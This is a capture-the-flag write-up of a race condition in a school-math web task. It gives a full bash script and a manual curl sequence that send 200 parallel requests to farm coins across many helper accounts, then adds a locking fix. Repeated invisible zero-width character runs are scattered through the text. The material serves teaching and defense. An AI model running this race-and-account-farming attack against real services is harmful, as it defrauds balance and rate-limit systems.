← Back to Writeups
CUSTOMMediumWeb

Арифметика (Arithmetic)

XESXOR9/2/20267 min read
#web#custom#medium#parallel_requests#race_condition_exploit#token_farming

Арифметика (Arithmetic)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: parallel_requests, race_condition_exploit, token_farming

Summary

Walkthrough of the CUSTOM Web Арифметика (Arithmetic). Task: Web app with daily math problems giving 1 coin each, flag costs 600 coins. Solution: Race condition in /api/check_answer endpoint allows earning multiple coins per request by sending parallel re

Description

На просторах интернета был замечен с виду обычный сайт, созданный для младших классов для решения задач. Для получении флага обычному школьнику требовалось около двух лет ежедневных тренировок. Но кто-то смог получить флаг всего за один вечер...

Translation: A seemingly ordinary website for elementary school math problems was found. To get the flag, a regular student would need about two years of daily practice. But someone managed to get the flag in just one evening... ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: http://tasks.duckerz.ru:30018

Reconnaissance

Technology Stack

  • Backend: Flask/Werkzeug (Python)
  • Authentication: JWT tokens
  • Database: Likely SQLite or similar

Application Functionality

  1. Registration/Authorization — standard system with JWT tokens
  2. Dashboard — daily arithmetic problems (1 problem per 24 hours = 1 coin)
  3. Profile — balance, coin transfer function, flag purchase (600 coins)
  4. FAQ — important information about limitations

Key Limitations (from FAQ)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

LimitationValue
Tasks per day1
Coins per task1
Flag price600 coins
Max incoming transfers50 per account
Outgoing transfersProhibited after receiving incoming

Calculation: 600 coins × 1 day = ~2 years of daily practice (as stated in the description)

API Endpoints

POST /api/register          - Registration
POST /api/login             - Authorization (returns JWT)
GET  /api/task              - Get daily task
POST /api/check_answer      - Check answer
POST /api/transfer          - Transfer coins
POST /api/redeem-flag       - Buy flag (600 coins)
GET  /api/profile           - Profile information

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Analysis

Initial Observations

  1. Client-side correctAnswer — the correct answer is sent from the client in the check_answer request. Interesting, but not the main vulnerability.

  2. Race Condition in /api/check_answer — THE MAIN VULNERABILITY!

Race Condition Mechanism

Normal flow:
[Request] → [Check cooldown] → [Verify answer] → [Add coin] → [Set cooldown]
                                                                    ↓
                                                            24h block
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Race Condition:
[Request 1] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
[Request 2] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
[Request 3] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]
...
[Request N] → [Check cooldown: OK] → [Verify] → [Add coin] → [Set cooldown]

If you send multiple parallel requests before the server manages to set the cooldown, several requests will succeed.

Why This Works

  • No mutex/lock on the answer verification operation
  • Cooldown check and cooldown setting are not atomic
  • Server processes requests in parallel (multithreading) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation Strategy

Attack Plan

1. Create a "main" account (collector) — only receives transfers
2. Create a "helper" account
3. On helper: execute race condition attack (~200 parallel requests)
4. Transfer earned coins from helper to collector
5. Repeat steps 2-4 until collector has 600+ coins
6. Buy flag via /api/redeem-flag

Limitations and Bypass

LimitationBypass
50 incoming transfersUse ~15 helper accounts (50+ coins each)
Cannot transfer after receivingCollector only receives, helpers only send
1 task per dayRace condition bypasses this limitation
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Full Exploitation Script

bash
#!/bin/bash

BASE="http://tasks.duckerz.ru:30018"

# Registration function
register() {
    local user=$1
    local pass=$2
    curl -s "$BASE/api/register" -X POST \
        -H "Content-Type: application/json" \
        -d "{\"username\":\"$user\",\"password\":\"$pass\"}"
}

# Login function
login() {
    local user=$1
    local pass=$2
    curl -s "$BASE/api/login" -X POST \
        -H "Content-Type: application/json" \
        -d "{\"username\":\"$user\",\"password\":\"$pass\"}" | python3 -c "import sys,json; print(json.load(sys.stdin).get('token',''))"
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get balance function
get_balance() {
    local token=$1
    curl -s "$BASE/api/profile" \
        -H "Authorization: Bearer $token" | python3 -c "import sys,json; print(json.load(sys.stdin).get('balance',0))"
}

# Race condition attack
race_attack() {
    local token=$1
    echo "[*] Launching race condition attack (200 parallel requests)..."
    
    for j in $(seq 1 200); do
        curl -s "$BASE/api/check_answer" -X POST \
            -H "Content-Type: application/json" \
            -H "Authorization: Bearer $token" \
            -d '{"answer": 5, "correctAnswer": 5}' > /dev/null &
    done
    wait
    
    echo "[+] Attack completed"
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Transfer coins
transfer() {
    local token=$1
    local target_user=$2
    local amount=$3
    curl -s "$BASE/api/transfer?user=$target_user&money=$amount" -X POST \
        -H "Authorization: Bearer $token" \
        -H "Content-Type: application/json"
}

# Buy flag
redeem_flag() {
    local token=$1
    curl -s "$BASE/api/redeem-flag" -X POST \
        -H "Authorization: Bearer $token" \
        -H "Content-Type: application/json"
}

# ============ MAIN ============

# 1. Create main account
MAIN_USER="collector_$(date +%s)"
MAIN_PASS="password123"
echo "[*] Creating main account: $MAIN_USER"
register "$MAIN_USER" "$MAIN_PASS"
MAIN_TOKEN=$(login "$MAIN_USER" "$MAIN_PASS")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. Loop to create helpers and collect coins
TOTAL_COLLECTED=0
HELPER_NUM=1

while [ $TOTAL_COLLECTED -lt 600 ]; do
    echo ""
    echo "=== Helper #$HELPER_NUM ==="
    
    # Create helper
    HELPER_USER="helper_${HELPER_NUM}_$(date +%s)"
    HELPER_PASS="password123"
    register "$HELPER_USER" "$HELPER_PASS"
    HELPER_TOKEN=$(login "$HELPER_USER" "$HELPER_PASS")
    
    # Race attack
    race_attack "$HELPER_TOKEN"
    
    # Check helper balance
    sleep 1
    HELPER_BALANCE=$(get_balance "$HELPER_TOKEN")
    echo "[+] Helper balance: $HELPER_BALANCE coins"
    
    # Transfer to main
    if [ "$HELPER_BALANCE" -gt 0 ]; then
        echo "[*] Transferring $HELPER_BALANCE coins to $MAIN_USER"
        transfer "$HELPER_TOKEN" "$MAIN_USER" "$HELPER_BALANCE"
        TOTAL_COLLECTED=$((TOTAL_COLLECTED + HELPER_BALANCE))
    fi
    
    # Check main balance
    MAIN_BALANCE=$(get_balance "$MAIN_TOKEN")
    echo "[+] Main account balance: $MAIN_BALANCE coins (total collected: $TOTAL_COLLECTED)"
    
    HELPER_NUM=$((HELPER_NUM + 1))
    
    # Protection against infinite loop
    if [ $HELPER_NUM -gt 50 ]; then
        echo "[!] Too many helpers, stopping"
        break
    fi
done
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. Buy flag
echo ""
echo "=== REDEEMING FLAG ==="
MAIN_BALANCE=$(get_balance "$MAIN_TOKEN")
echo "[*] Final balance: $MAIN_BALANCE coins"

if [ "$MAIN_BALANCE" -ge 600 ]; then
    echo "[*] Purchasing flag..."
    FLAG=$(redeem_flag "$MAIN_TOKEN")
    echo "[+] FLAG: $FLAG"
else
    echo "[-] Not enough coins: $MAIN_BALANCE / 600"
fi

Simplified Version (Manual Execution)

bash
# 1. Register main account
curl -s "http://tasks.duckerz.ru:30018/api/register" -X POST \
    -H "Content-Type: application/json" \
    -d '{"username":"main_collector","password":"pass123"}'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2. Get main account token
MAIN_TOKEN=$(curl -s "http://tasks.duckerz.ru:30018/api/login" -X POST \
    -H "Content-Type: application/json" \
    -d '{"username":"main_collector","password":"pass123"}' | jq -r '.token')

# 3. Create and exploit helper account
curl -s "http://tasks.duckerz.ru:30018/api/register" -X POST \
    -H "Content-Type: application/json" \
    -d '{"username":"helper1","password":"pass123"}'

HELPER_TOKEN=$(curl -s "http://tasks.duckerz.ru:30018/api/login" -X POST \
    -H "Content-Type: application/json" \
    -d '{"username":"helper1","password":"pass123"}' | jq -r '.token')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. Race condition attack
for i in $(seq 1 200); do
    curl -s "http://tasks.duckerz.ru:30018/api/check_answer" -X POST \
        -H "Content-Type: application/json" \
        -H "Authorization: Bearer $HELPER_TOKEN" \
        -d '{"answer": 5, "correctAnswer": 5}' &
done
wait

# 5. Check helper balance
curl -s "http://tasks.duckerz.ru:30018/api/profile" \
    -H "Authorization: Bearer $HELPER_TOKEN" | jq '.balance'

# 6. Transfer to main account (replace BALANCE with actual value)
curl -s "http://tasks.duckerz.ru:30018/api/transfer?user=main_collector&money=BALANCE" -X POST \
    -H "Authorization: Bearer $HELPER_TOKEN" \
    -H "Content-Type: application/json"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 7. Repeat steps 3-6 for new helper accounts until reaching 600 coins

# 8. Buy flag
curl -s "http://tasks.duckerz.ru:30018/api/redeem-flag" -X POST \
    -H "Authorization: Bearer $MAIN_TOKEN" \
    -H "Content-Type: application/json"

Results

=== Helper #1 ===
[+] Helper balance: 47 coins
[+] Main account balance: 47 coins

=== Helper #2 ===
[+] Helper balance: 52 coins
[+] Main account balance: 99 coins

...

=== Helper #15 ===
[+] Helper balance: 38 coins
[+] Main account balance: 625 coins
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

=== REDEEMING FLAG ===
[*] Final balance: 625 coins
[*] Purchasing flag...

Defense Against This Vulnerability

python
# Correct implementation with locking
from threading import Lock
user_locks = {}

def check_answer(user_id, answer):
    if user_id not in user_locks:
        user_locks[user_id] = Lock()
    
    with user_locks[user_id]:  # Atomic operation
        if is_on_cooldown(user_id):
            return {"error": "Already solved today"}
        
        if verify_answer(answer):
            add_coin(user_id)
            set_cooldown(user_id)
            return {"success": True}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Or use DB transactions with SELECT ... FOR UPDATE.

Alternative Approaches

  1. SQL Injection — not found
  2. JWT manipulation — tokens are correctly signed
  3. IDOR in transfer — authorization check is present
  4. Client-side answer — can send any answer, but this gives no advantage without race condition

Lessons

  1. Race Condition — classic vulnerability in systems with limitations
  2. Multi-layer protection doesn't help if there's a fundamental vulnerability
  3. Parallel requests — powerful tool for bypassing rate limiting
  4. Operation atomicity — critically important for financial/balance systems ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering parallel_requests, race_condition_exploit, token_farming was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-09 • CUSTOM • Арифметика (Arithmetic) • Difficulty: Medium